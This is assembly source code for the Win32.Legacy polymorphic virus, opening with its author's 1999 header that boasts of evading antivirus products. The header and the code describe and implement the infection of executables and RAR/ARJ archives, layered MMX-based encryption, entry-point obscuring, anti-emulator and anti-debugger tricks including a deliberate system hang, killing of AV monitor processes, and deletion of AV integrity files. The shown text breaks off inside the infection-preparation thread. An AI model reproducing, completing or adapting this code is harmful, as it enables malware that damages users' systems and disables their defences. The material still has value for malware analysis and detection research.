; [Win32.Legacy] - MultiThreaded/Poly/EPO/MMX/RDA/AntiAV/PE/RAR/ARJ,etc.
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; [ Introduction ]
;
; This is a polymorphic heavily armoured  multitask virus. It's  undetectable
; by all the most powerful AVs (August 1999) such as are AVP, NODICE, etc. It
; has two layers of encryption (as my Win32.Thorin), the first one is polymo-
; rphic, made by MMXE v1.01, and the second one  is an antidebug/antiemulator
; one, using also MMX opcodes if available. So, this is the world's first vi-
; rus using MMX opcodes, and i am proud of it! :) Well, the polymorphic engi-
; ne has a sorta plug-in, called PHIRE v1.00 that  is able  to generate a 256
; polymorphic block of code that will be placed  at host entrypoint  for pass
; the control to the polymorphic decryptor  at the last section. So, it's so-
; mething like  an EPO feature. This is  also my  first  virus  that  infects
; archives (RAR & ARJ). This virus also have RDA features, by means of my new
; engine called iENC, that works with  little blocks of code, instead a whole
; virus. There are 13h ;) routines in this virus that are encrypted independe
; ntly from the  two normal layers of  the  virus... It's a  great feature :)
; This babe makes my Thorin to seem a joke... It beats Thorin in almost every
; aspect. The  only bad  point this virus has is, in some  extreme cases, the
; speed. I've tried to fix  that optimizing  a bit  the thread execution, and
; its order. Also, i've made the virus to be executed with the highest priori
; ty of execution. So the delay will be minimal (i hope), and in fastest PCs,
; will be unnoticeable. It's  possible  that  this  virus  has   bugs, but in
; all my tests, it worked perfectly. But nothing is perfect.
;
; Well, that's  too much for  an introduction. Let's see a deeper description
; of all this.
;
; [ Threads ]
;
; The virus' execution is as follows:
;     
; INFECTED FILE           ????????????         
;  ?????????            ??� Thread 1 ?   ????????????
;  ?       ?>????�      ? ???????????? ??� Thread 2 ?
;  ? Virus ? ?????????? ? ?????????????? ????????????
;  ?       ? ?        ?>? ?   ????????????     
;  ????????? ?        ?>??? ??� Thread 3 ?     
;      ?     ?  Main  ?>????? ????????????
;      ?     ? Thread ?>????�       
;      ?     ?        ?>??� ? ????????????
;      ?     ?        ?   ? ??� Thread 4 ?        
;      ?     ??????????   ?   ???????????? ????????????
;      ?????????<?        ?????????????????� Thread 5 ?
;                  ????????????            ????????????
;                  ? Thread 6 ?<?????????????????
;                  ????????????
;
; ? -> Thread being executed
;
; So, as you can see, the virus body launches a thread, the main thread, and
; the main thread launches 6 threads, and controls their execution flow: the
; first 4 ones are launched and executed at the same time, while the followin
; 2 must follow an order, one after another. Let's see what does each thread:
;
;       + Thread 1 : This thread is executed the first, and it consists in a
;                    loop that terminates the processes of AVP Monitor and
;                    AMON (monitor of NOD-ICE).
;       + Thread 2 : This thread is the anti-debugging one. Application level
;                    debuggers should die with it.
;       + Thread 3 : This thread deletes from the current directory most of
;                    all the integrity checks of all AV and programs.
;       + Thread 4 : This thread hooks all possible APIs from host import ta-
;                    ble, so it is the PerProcess residence thread.
;       + Thread 5 : This thread prepares the virus for infection, setting up
;                    the directories to infect, etc.
;       + Thread 6 : This thread is used for infect in all the retrieved dir-
;                    ectories all EXE, SCR, CPL, RAR, ARJ files.
;
; Each thread is protected by a SEH handler, so we can handle all the possi-
; ble errors that could happen in their execution. This adds more security to
; the virus, and makes it to become lotsa more robust.
;
; [ Engines ]
;
; This virus features 3 engines: MMXE v1.01, PHIRE v1.00 and iENC v1.00. Lets
; see what will do each one of them:
;
;       + MMXE  : This engine will generate two decryptors, that will be able
;                 to decrypt the first encryption layer of the virus (but the
;                 oly one that is polymorphic). Why two decryptors? Well, the
;                 execution of one or another depends of the existence of the
;                 MMX opcodes (i.e. if  the CPU is MMX). One of them, the one
;                 that will be executed firstly, has MMX opcodes used as gar-
;                 bage, and its  decryption  operation is also a  MMX opcode.
;                 The second decryptor is an 'ussual' polymorphic one.
;       + PHIRE : This is a plug-in for MMXE. It generates a block of 256 by-
;                 tes of polymorphic code that will be placed at the entrypo-
;                 in of the host. The particularity of that code is, besides
;                 the EntryPoint Obscuring (EPO) ability that it gives to the
;                 virus, is that the generated code will generate an excepti-
;                 on handler (SEH), for laterly generate a fault, thus bypas-
;                 sing the control to the handler, that will pass the control
;                 to the MMXE decryptor. This will stop every known emulator.
;       + iENC  : The  Internal ENCryptor  is a RDA  encryptor/decryptor that
;                 brings  you  the  possibility of  encrypt/decrypt blocks of
;                 code inside the virus itself. It's very simple,besides that
;                 is very useful for annoy a bit more the AV people. And that
;                 is my target.
;
; [ Decryption ]
;                                            Glossary.-
; ???????????????<?? Host entrypoint         POLY#1- PHIRE generated code
; ?   POLY#1    ?                            POLY#2- MMXE generated decryptor
; ? ? ? ? ? ? ? ???  Now  jump over all the  ENCR#3- Second encryption layer
; ?             ? ?  host code that was not  
; ?    REST     ? ?  overwritten till reach 
; ?     OF      ? ?  the MMXE layer.
; ?    HOST     ? ?
; ?             ? ?
; ? ? ? ? ? ? ? ?<?
; ?   POLY#2    ?    Now decrypt the next layer
; ? ? ? ? ? ? ? ?
; ?   ENCR#3    ?    Final decryption of virus body
; ? ? ? ? ? ? ? ?
; ? VIRUS CODE! ??>  Some independent blocks of this are also encrypted.
; ???????????????
;
; [ APIs used ]
;
; They are  retrieved knowing  only their CRC32. This, as  you  can see, is a
; great saving of bytes.
;
;       + KERNEL32.DLL          - FindFirstFileA, FindNextFileA, FindClose,
;                                 CreateFileA, DeleteFileA, SetFilePointer,
;                                 SetFileAttributesA, CloseHandle,
;                                 GetCurrentDirectoryA, SetCurrentDirectoryA,
;                                 GetWindowsDirectoryA, GetSystemDirectoryA,
;                                 CreateFileMappingA, MapViewOfFile,
;                                 UnmapViewOfFile,SetEndOfFile,GetProcAddress,
;                                 LoadLibraryA, GetSystemTime, CreateThread,
;                                 WaitForSingleObject,ExitThread,GetTickCount,
;                                 FreeLibrary,WriteFile,GlobalAlloc,GlobalFree,
;                                 GetFileSize, GetFileAttributesA, ReadFile,
;                                 GetCurrentProcess, GetPriorityClass,
;                                 SetPriorityClass
;
;       + USER32.DLL            - FindWindowA, PostMessageA, MessageBoxA
;       + ADVAPI32.DLL          - RegCreateKeyExA, RegSetValueExA
;
; [ APIs hooked ]
;
; All these APIs are part of the '@@Hookz' structure (see data zone of virus)
; and they are got from  the Import  Table only  knowing its CRC32. This is a
; nice feature, we save many bytes with it.
;
;       + With generic hooker   - MoveFileA
;                               - CopyFileA
;                               - GetFullPathNameA
;                               - DeleteFileA
;                               - WinExec
;                               - CreateFileA
;                               - CreateProcessA
;                               - GetFileAttributesA
;                               - SetFileAttributesA
;                               - _lopen
;                               - MoveFileExA
;                               - CopyFileExA
;                               - OpenFile
;
;       + With special hooker   - GetProcAddress
;                               - FindFirstFileA
;                               - FindNextFileA.
;
; [ Features ]
;
; Now here will go the blessed list of what this babe is able to do:
;
;       + Infects EXE, SCR and CPL files.
;       + Drops an infected file to RAR and ARJ archives (dropper is packed)
;       + All targets (EXE/SCR/CPL/RAR/ARJ) are infected if they:
;               - are in \WINDOWS directory
;               - are in \WINDOWS\SYSTEM directory
;               - are in current directory
;               - are accessed by one of the hooked functions
;       + Obtains API addresses knowing only its CRC32 (ET & IT).
;       + EntryPoint Obscuring (EPO), used PHIRE v1.00
;       + Two layers of encryption:
;               - MMXE generated decryptor
;               - Simple non-poly MMX decryptor, also anti-emulators.
;       + Some blocks of code are encrypted (RDA) with iENC v1.00
;       + Anti-Emulation and Anti-Heuristic techniques.
;       + Anti-Monitors, kills the process of AVP Monitor and AMON
;       + Anti-Debugging (SEH, IsDebuggerPresent, FS:[20h], Threads, SoftICE)
;       + MultiThreading (see 'Threads' description above)
;       + Per-Process residence (ImportTable/GetProcAddress)
;       + Fast infector (FindFirstFileA/FindNextFileA)
;       + Kills AV CRC files.
;       + Infects all PE without caring about its ImageBase.
;       + Avoid problems with .reloc section
;       + Able to work under Win95, Win98, WinNT, and Win2k.
;       + Payload: Shows a lame messagebox with a lame message, and after it
;         makes a little changes in the registry ;)
;
; [ Greetings (random order) ]
;
;       + Qozah/29A     -> Finally you did it! Win32.Unreal rulez!
;       + Benny/29A     -> I'll wait for your meta! Btw, bring me a czech beer
;       + Vecna         -> Pray to the real and only god... yourself!
;       + Super/29A     -> Thanx for pointing me bugs and optimizations...
;       + b0z0/iKX      -> I recommend you a padanian band called Lacuna Coil
;       + StarZer0/iKX  -> What did you say to yer mother for go to Amsterdam?
;       + Int13h        -> Espero tu carta ansioso! 
;       + Ypsilon       -> Finish VAS goddamit!!
;       + GriYo/29A     -> El ?nico que llama "cagadas" a sus virus :)
;       + MDriller/29A  -> You help me, i help you... compensation law ;)
;       + Owl[FS]       -> You'll find the perfect girl for your needs...
;       + VirusBust/29A -> Espero que seas feliz con tu nuevo estado civil ;)
;       + MrSandman     -> Lo mismo te digo...
;       + JQwerty       -> Aunque nos pese, pues tambien te digo lo mismo ;)
;       + Wintermute    -> Algun dia entender s a estos mon?gamos X-D
;       + Tcp/29A       -> I'll wait for your HLL PE infector :)
;       + Rajaat        -> The Twisted Nails Of Faith... COF RuleZ!
;       + Somniun       -> Mandame un mail, please
;       + SeptiC        -> You'd have my vote... sure!
;       + TechnoPhunk/TI-> I recommend you to hear Marilyn Manson...
;       + Mandragore    -> Mail me pleeeeease
;       + TheWizard     -> A ver cuando veo algo tuyo pa Win32...
;       + Navi/PHYMOSYS -> Y la #9? :)
;       + Frontis       -> Amo a tu plextor de 8x!
;       + nIgr0         -> Yo me jubilare cuando tu entres en algun grupo :)
;       + SlageHammer   -> Come to Valencia!
;       + T-2000        -> I didn't liked to be infected with yer Kriz ;)
;       + zAxOn         -> Este virus de abajo te va a infectar...
;       + Gigabyte[UC]  -> What about that VBS worm?
;       + Yesna         -> PUTA!
;       + Lord Julus    -> Get a Blind Guardian CD!
;       + Hansi Kursch  -> I hope you'll be able to compose again soon!
;       + J.R.R.Tolkien -> Awesome folklore!
;       + Karl Marx     -> For give me something to believe in.
;
; [ Fucks ]
;
;       + J. M. Aznar   -> I'll dance over your grave, fascist sucker
;       + E. Zaplana    -> Ke haze un tio de murzia presidiendo mi comunidad?
;       + J. Gil y Gil  -> Tiene una estatua de Franco... no comments.
;       + A. Pinochet   -> TO PRISON, MOTHERFUCKER!
;       + F. Franco     -> I'm happy: you're dead
;       + A. Hitler     -> The worst in all the mankind history
;       + S. Milosevic  -> The Hitler of our days
;       + B. Yeltsin    -> Stop drinking vodka!
;       + All the USA   -> You can control others governments, but not me.
;
; [ Final thoughts ]
;
; This virus (and its possible next versions) will be my last "megainfector".
; I will probably add to it ZIP infection, a  compression engine, a code emu-
; lator (that i have almost  finished) and  more  features, but  i think i'll
; guide my steps to smaller viruses. For example, i am writing another Ring-0
; virus, that  will  feature  S&D technology (of course, giving  the deserved
; greet to SSR), and i  am writing some  engines such as a compression one, a
; code emulator, a self-emulated poly engine, and much more. Also, i'm making
; the first steps of the Itxoiten project, building its macros,and developing
; the ITX header. As you can see, i'm really active in coding. I hope i'll be
; able to publish some of that things soon. Of course, i've also almost fini-
; shed my Virus Writing Guide for Win32, that is, at this moment, much bigger
; that its  equivalent for MS-DOS. I hope to finish  it soon too. Well... now
; it's my time to talk about "my things" :) Ok, ok, i'll  tell you about what
; happened me this  last week... Firstly (and painly), my  beloved  Panasonic
; discman (paid with my own money) have  broken up... Secondly, my headphones
; of that discman, have  also broken  up.  I think it happened because i have
; recently  had a  motorbike  crash (finishing  with myself  rolling over the
; fucking  road)  while hearing  music with  the discman... And, today, while
; i was going (again) with the motorbike , a  fucking bee have  bitten  me at
; my face (and now my face seems  a fucking ball because it). Damn, this week
; hasn't been the best  one of my life. I can  only now  day  one thing, that
; only the spanish readers will understand: MEKAG?EN DIOS! Ok, this is enough
; for today...                                            ...Fade to black...
;
;    -To code is as sex: one error, and you'll cry the rest of your life-
;                             (Murphy's law)
;
; (c) 1999 Billy Belcebu/iKX

	.586p
	.model  flat       

extrn   ShellAboutA:PROC                        ; Thanx 4 this c00l api, Vecna
extrn   ExitProcess:PROC

TRUE            equ     01h
FALSE           equ     00h

DEBUG           equ     FALSE

virus_size      equ     (offset virus_end-offset virus_start)
shit_size       equ     (offset delta-offset legacy)
section_flags   equ     00000020h or 20000000h or 80000000h
temp_attributes equ     00000080h
n_Handles       equ     50d
WFD_HndSize     equ     n_Handles*8
n_infections    equ     05h

mark            equ     04Ch                    ; PE Header where put mark
inf_mark        equ     "YCGL"                  ; Mark for infected PE's
archive_mark    equ     "GL"                    ; Mark for infected archives

kernel_w9x      equ     0BFF70000h              ; Win95/98 Kernel
kernel_wNT      equ     077F00000h              ; WinNT kernel
kernel_w2k      equ     077E00000h              ; Win2000 kernel

nDay            equ     31d                     ; Day when activate payload
nMonth          equ     07d                     ; Month when activate payload

Billy_Bel       equ     0BBh                    ; Any problem? :)

THREAD_SLEEPING equ     00000000h
THREAD_ACTIVE   equ     00000001h

; Interesting macros for my code

cmp_            macro   reg,joff1               ; Optimized version of
		inc     reg                     ; CMP reg,0FFFFFFFFh
		jz      joff1                   ; JZ  joff1
		dec     reg                     ; The code is reduced in 3 
		endm                            ; bytes (7-4)

pushs           macro   string2push
		local   __@@__
		call    __@@__
		db      string2push,00h
__@@__:
		endm


eosz_edi        macro
		xor     al,al
		scasb
		jnz     $-1
		endm

apicall         macro   apioff                  ; Optimize muthafucka!
		call    dword ptr [ebp+apioff]
		endm

vsize           macro
		db      virus_size/10000 mod 10 +"0"
		db      virus_size/01000 mod 10 +"0"
		db      virus_size/00100 mod 10 +"0"
		db      virus_size/00010 mod 10 +"0"
		db      virus_size/00001 mod 10 +"0"
		endm

		.data

szMessage       db      "First generation sample",10
		db      "(C) 1999 Billy Belcebu/iKX",0

; Don't care about what the people thinks about you; they are too busy 
; thinking how to know what do you think of them. (Murphy's law)

		.code

; <---
; Below code (until the loop) don't travel with the virus. It putz da correct
; CRC32 of all the  code blocks that are  going to be encrypted independently
; with iENC...
; --->

legacy1:
	lea     esi,iENC_struc                  ; Pointer to iENC structure
	mov     ecx,n_iENC_blocks               ; Number of code blocks
lgcyl00p:
	lodsw                                   ; Get size of block
	cwde                                    ; Clear MSW of EAX
	xchg    edi,eax                         ; EAX = Size
	lodsw                                   ; Get relative ptr to block
	cwde                                    ; Clear MSW of EAX
	add     eax,offset virus_start          ; RVA >> VA
	pushad                                  ; Preserve all registers
	xchg    esi,eax                         ; ESI = Ptr to block
	call    CRC32                           ; Get its CRC32
	mov     [esp.PUSHAD_EBX],eax            ; Preserve after POPAD =)
	popad                                   ; Restore all regs
	sub     eax,08h                         ; Fix pointer
	mov     [eax],ebx                       ; Store block's CRC32
	loop    lgcyl00p                        ; Repeat the same with all

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Virus start                                                            ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;
;????????????????????????;
;                        ;
; I wanna die young      ;  ????????  ???????   ???   ???  ???????   ????????
; and sell my soul       ;  ????????? ????????? ???   ??? ????????? ?????????   
; use up all your drugs  ;  ???   ??? ???   ??? ???   ??? ???       ???
; and make me come       ;  ???   ??? ??? ???   ???   ??? ???  ???? ????????
; Yesterday man,         ;  ???   ??? ???   ??? ???   ??? ???   ???       ???
; i was a nihilist and   ;  ????????? ???   ??? ????????? ????????? ?????????
; now today i'm          ;  ????????  ???   ???  ???????   ???????  ????????
; just too fucking bored ;
;                        ;   -I don't like the drugs but the drugs like me-
;   -Marilyn Manson-     ;  
;????????????????????????;

virus_start     label   byte

legacy:
	db      LIMIT dup (90h)                 ; Space for the poly decryptor

	pushad                                  ; Push all da shit

	mov     ebx,esp                         ; Anti NOD-iCE trick
	push    cs
	pop     eax
	cmp     ebx,esp
	jnz     realep

	call    seh_trick                       ; Kill emulators
	mov     esp,[esp+08h]
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx
	jmp     improvised_delta

decryptor:
	pop     esi                             ; ESI = Ptr to code to decrypt
	mov     ecx,((offset virus_end-offset crypt)/4)
	mov     ebx,12345678h
	org     $-4
key     dd      00000000h       
	mov     edi,esi

	pushad
	xor     eax,eax
	inc     eax
	cpuid                                   ; Check for MMX presence...
	bt      edx,17h                         ; bit 17h, please!
	popad 

	jnc     not_mmx                         ; Damn!

@@__??:
	db      00Fh,06Eh,00Eh                  ; movd  mm1,[esi]
	db      00Fh,06Eh,0D3h                  ; movd  mm2,ebx
	db      00Fh,0EFh,0CAh                  ; pxor  mm1,mm2
	db      00Fh,07Eh,00Eh                  ; movd  [esi],mm1

	add     esi,4                           ; Get next dword
	loop    @@__??                          ; And decrypt it

	jmp     realep                          ; Jump to unencrypted code

not_mmx:
	lodsd                                   ; Load dword to decrypt
	xor     eax,ebx                         ; Decrypt it
	stosd                                   ; Store the decrypted dword
	loop    not_mmx                         ; And loop until all decrypted

	jmp     realep                          ; Jump to unencrypted code

seh_trick:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp
	dec     byte ptr [edx]                  ; Bye bye emulators
	jmp     realep                          ; DiE NOD!!! Muahahahah!

improvised_delta:
	call    decryptor

; Let me see you stripped...

crypt   label   byte

	db      00h,"Welcome to the realm of the legacy of kings...",00h

realep: call    delta                           ; Hardest code to undestand ;)
delta:  pop     ebp
	mov     eax,ebp
	sub     ebp,offset delta                ; EBP = Delta offset

	sub     eax,shit_size                   ; Obtain at runtime the 
	sub     eax,00001000h                   ; imagebase of the process
NewEIP  equ     $-4
	mov     dword ptr [ebp+ModBase],eax     ; EAX = Process' imagebase

	pushad

	call    ChangeSEH                       ; SEH rlz :)
	mov     esp,[esp+08h]                   ; Fix stack
	jmp     RestoreSEH                      ; And restore old SEH handler
ChangeSEH:
	xor     ebx,ebx                         ; EBX = 0
	push    dword ptr fs:[ebx]              ; Save old SEH handler
	mov     fs:[ebx],esp                    ; Set new SEH handler
       
	call    iENC_decrypt
	dd      00000000h
	dd      eBlock1-Block1

Block1  label   byte
	mov     esi,[esp+48h]                   ; Get program return address
	mov     ecx,05h                         ; Limit
	call    GetK32
	or      eax,eax                         ; EAX = 0? If so, error...
	jz      RestoreSEH                      ; Then we go away...

	mov     dword ptr [ebp+kernel],eax      ; EAX must be K32 base address

	lea     esi,[ebp+@@NamezCRC32]          ; ESI = Pointer to CRC32 array
	lea     edi,[ebp+@@Offsetz]             ; EDI = Where put addresses
	call    GetAPIs                         ; Retrieve all APIs

	lea     edi,[ebp+random_seed]           ; Initialize slow random seed
	push    edi
	apicall _GetSystemTime

	apicall _GetCurrentProcess              ; This virus is slow, so i'm
						; looking in this routines
	push    eax                             ; for the wanted speed
	mov     dword ptr [ebp+CurrentProcessHandle],eax

	push    eax                             ; Get the original priority
	apicall _GetPriorityClass               ; class
	mov     dword ptr [ebp+OriginalPriorityClass],eax
	pop     ecx

	xchg    eax,ecx                         ; Fail? Duh!
	jecxz   ErrorCreatingMainThread

	push    80h                             ; Set the priority needed for
	push    eax                             ; a faster execution
	apicall _SetPriorityClass

	xor     edx,edx
	lea     eax,[ebp+lpThreadId]
	push    eax                             ; lpThreadId
	push    edx                             ; dwCreationFlags
	push    ebp                             ; lpParameter
	lea     eax,[ebp+MainThread]            
	push    eax                             ; lpStartAddress
	push    edx                             ; dwStackSize
	push    edx                             ; lpThreadAttributes
	apicall _CreateThread
	xchg    eax, ecx                        ; Error?
	jecxz   ErrorCreatingMainThread         ; Damn...
	
	xor     eax,eax                         ; Wait infinite seconds until
	dec     eax                             ; main thread is finished
	push    eax                             ; Push -1
	push    ecx                             ; Push main thread handle
	apicall _WaitForSingleObject

eBlock1 label   byte

	push    12345678h                       ; Put again the original 
OriginalPriorityClass   equ $-4                 ; priority of the process for
	push    12345678h                       ; avoid suspitions
CurrentProcessHandle    equ $-4
	apicall _SetPriorityClass

	push    WFD_HndSize                     ; Hook some mem for WFD_Handles
	push    00000000h                       ; structure
	apicall _GlobalAlloc
	mov     dword ptr [ebp+WFD_HndInMem],eax

	call    payload                         ; Hohohohoho!

ErrorCreatingMainThread:
	or      ebp,ebp                         ; Is 1st gen?
	jz      fakehost                        ; If so, jump to the fake host

RestoreSEH:
	xor     ebx,ebx                         ; EBX = 0
	pop     dword ptr fs:[ebx]              ; Restore old SEH handler
	pop     eax                             ; Remove shit from stack

	popad                                   ; Restore old registers

	call    RestoreOldBytes                 ; Restore host's 1st bytes

	popad                                   ; Restore all!

	mov     ebx,12345678h                   ; C'mon! 
	org     $-4
OldEIP  dd      00001000h

	add     ebx,12345678h                   ; It's on!
	org     $-4
ModBase dd      00400000h

	push    ebx                             ; Pass control to the host
	ret                                     ; code...

; Justice is lost, justice is raped, justice is gone...

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Restore the first 256 bytes of the host                                ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

RestoreOldBytes:
	mov     edi,dword ptr [ebp+OldEIP]
	add     edi,dword ptr [ebp+ModBase]     ; EDI = Ptr to host's EP
	lea     esi,dword ptr [ebp+OldBytes]    ; ESI = Ptr to its orig. bytes
	mov     ecx,pLIMIT                      ; ECX = Bytes to restore
	rep     movsb                           ; Restore it!
	ret

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| The main thread of the virus                                           ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;
; Higher you are, harder you fall
;

MainThread      proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread                ; EBP = Delta offset

	pushad

	call    MT_SetupSEH                     ; SetUp a new SEH handler
	mov     esp,[esp+08h]
	jmp     MT_RestoreSEH
MT_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp
       
	call    iENC_decrypt
	dd      00000000h
	dd      eBlock2-Block2

Block2  label   byte
	call    GetUsefulInfo                   ; Retrieve useful info

	mov     ecx,nThreads                    ; ECX = Number of threads to
						;       launch
	lea     esi,[ebp+ThreadsTable]          ; ESI = Ptr to thread table

LoopOfLaunchAllThreads:
	push    ecx                             ; Preserve ECX
	xor     edx,edx                         ; EDX = 0
	lea     eax,[ebp+lpThreadId]
	push    eax                             ; lpThreadId
	push    edx                             ; dwCreationFlags
	push    ebp                             ; lpParameter

	lodsd
	add     eax,ebp
	push    eax                             ; lpStartAddress

	push    edx                             ; dwStackSize
	push    edx                             ; lpThreadAttributes
	apicall _CreateThread
	pop     ecx
	loop    LoopOfLaunchAllThreads

; Control loops of all threads
       
	inc     byte ptr [ebp+TKM_semaphore]    ; Init Thread 1
	inc     byte ptr [ebp+TAD_semaphore]    ; Init Thread 2
	inc     byte ptr [ebp+TDC_semaphore]    ; Init Thread 3
	inc     byte ptr [ebp+TPP_semaphore]    ; Init Thread 4
	inc     byte ptr [ebp+TPI_semaphore]    ; Init Thread 5 

TAD_CL: cmp     byte ptr [ebp+TAD_semaphore],THREAD_SLEEPING
	jnz     TAD_CL                          ; Wait for Thread 2 end

	cmp     byte ptr [ebp+SoftICE],00h
	jne     TKM_CL

TPI_CL: cmp     byte ptr [ebp+TPI_semaphore],THREAD_SLEEPING
	jnz     TPI_CL

	inc     byte ptr [ebp+TIF_semaphore]    ; Init Thread 6 after Thread 5
TIF_CL: cmp     byte ptr [ebp+TIF_semaphore],THREAD_SLEEPING ; ends
	jnz     TIF_CL

TKM_CL: cmp     byte ptr [ebp+TKM_semaphore],THREAD_SLEEPING
	jnz     TKM_CL                          ; Wait for Thread 1 end

TDC_CL: cmp     byte ptr [ebp+TDC_semaphore],THREAD_SLEEPING
	jnz     TDC_CL                          ; Wait for Thread 3 end

TPP_CL: cmp     byte ptr [ebp+TPP_semaphore],THREAD_SLEEPING
	jnz     TPP_CL                          ; Wait for Thread 4 end

eBlock2 label   byte

MT_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	jmp     ExitThread
MainThread      endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| This procedure makes the thread that call it to be closed              ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ExitThread:
	push    00h
	apicall _ExitThread
	ret

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Thread used for kill TSR monitors (AVP & NOD)                          ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ThrKillMonitors proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread

	xor     ecx,ecx
TKM_Sleep:
	mov     cl,THREAD_SLEEPING
TKM_semaphore   equ $-1
	jecxz   TKM_Sleep

	pushad

	call    TKM_SetupSEH                    ; SetUp a SEH handler
	mov     esp,[esp+08h]
	jmp     TKM_RestoreSEH
TKM_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	call    iENC_decrypt                    ; Encrypt this block
	dd      00000000h
	dd      eBlock3-Block3

Block3  label   byte

	lea     edi,[ebp+Monitors2Kill]         ; EDI = Ptr to array of mons.
KM_L00p:
	call    TerminateProc                   ; Terminate its process
	eosz_edi                                ; End Of String of EDI
	cmp     byte ptr [edi],Billy_Bel        ; End of array? 
	jnz     KM_L00p                         ; Kewl.

eBlock3 label   byte

TKM_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	and     byte ptr [ebp+TKM_semaphore],THREAD_SLEEPING

	jmp     ExitThread
ThrKillMonitors endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Thread for kill the application level debuggers                        ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ThrAntiDebugger proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread

	xor     ecx,ecx
TAD_Sleep:
	mov     cl,THREAD_SLEEPING
TAD_semaphore   equ $-1
	jecxz   TAD_Sleep

	pushad

	call    TAD_SetupSEH
	mov     esp,[esp+08h]
	jmp     TAD_RestoreSEH
TAD_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock4-Block4

Block4  label   byte

	and     byte ptr [ebp+SoftICE],00h

; I'm a SoftICE addict... any problem? :)

	IF      DEBUG
	ELSE
DetectSICE:
	lea     edi,[ebp+Drivers2Avoid]
SearchDriverz:
	xor     eax,eax                         ; This little trick allows
	push    eax                             ; us to check for drivers,
	push    00000080h                       ; so we can check for our
	push    00000003h                       ; beloved SoftICE in its 
	push    eax                             ; Win9x and WinNT versions!
	inc     eax
	push    eax
	push    80000000h or 40000000h
	push    edi
	apicall _CreateFileA

	inc     eax
	jz      NoDriverFound
	dec     eax

	push    eax
	apicall _CloseHandle

	inc     byte ptr [ebp+SoftICE]

NoDriverFound:
	eosz_edi
	cmp     byte ptr [edi],Billy_Bel
	jnz     SearchDriverz

	ENDIF

some_antidebug:
	mov     ecx,fs:[20h]                    ; ECX = Context of debugger
	jecxz   more_antidebug                  ; If ECX<>0, we're debugged
	jmp     hangit

more_antidebug:
	pushs   "IsDebuggerPresent"
	push    dword ptr [ebp+kernel]
	apicall _GetProcAddress
	xchg    eax,ecx                         ; Same than above, but API
	jecxz   TAD_Exit                        ; based
	
	call    ecx
	xchg    eax,ecx
	jecxz   TAD_Exit

hangit: xor     esp,esp                         ; Hahahahah! DiE-DiE-DiE!!!
	cli
	call    $-1

eBlock4 label   byte

TAD_Exit:
TAD_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	and     byte ptr [ebp+TAD_semaphore],THREAD_SLEEPING
	jmp     ExitThread
ThrAntiDebugger endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Thread used for delete AV CRC files                                    ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ThrDeleteCRC    proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread

	xor     ecx,ecx
TDC_Sleep:
	mov     cl,THREAD_SLEEPING
TDC_semaphore   equ $-1
	jecxz   TDC_Sleep

	pushad

	call    TDC_SetupSEH
	mov     esp,[esp+08h]
	jmp     TDC_RestoreSEH
TDC_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock5-Block5

Block5  label   byte

	lea     edi,[ebp+Files2Kill]            ; Load pointer to first file

killem: push    edi                             ; Push file to erase
	apicall _DeleteFileA                    ; Delete it!
	eosz_edi
	cmp     byte ptr [edi],Billy_Bel
	jnz     killem       

eBlock5 label   byte

TDC_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	and     byte ptr [ebp+TDC_semaphore],THREAD_SLEEPING

	jmp     ExitThread
ThrDeleteCRC    endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Thread used for retrieve all the useful info for infection             ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ThrPrepareInf   proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread

	xor     ecx,ecx
TPI_Sleep:
	mov     cl,THREAD_SLEEPING
TPI_semaphore   equ $-1
	jecxz   TPI_Sleep

	pushad

	call    TPI_SetupSEH
	mov     esp,[esp+08h]
	jmp     TPI_RestoreSEH
TPI_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock6-Block6

Block6  label   byte

	lea     edi,[ebp+WindowsDir]            ; Get windows directory
	push    7Fh
	push    edi
	apicall _GetWindowsDirectoryA

	add     edi,7Fh                         ; Get system directory
	push    7Fh
	push    edi
	apicall _GetSystemDirectoryA

	add     edi,7Fh                         ; Get current directory
	push    edi
	push    7Fh
	apicall _GetCurrentDirectoryA

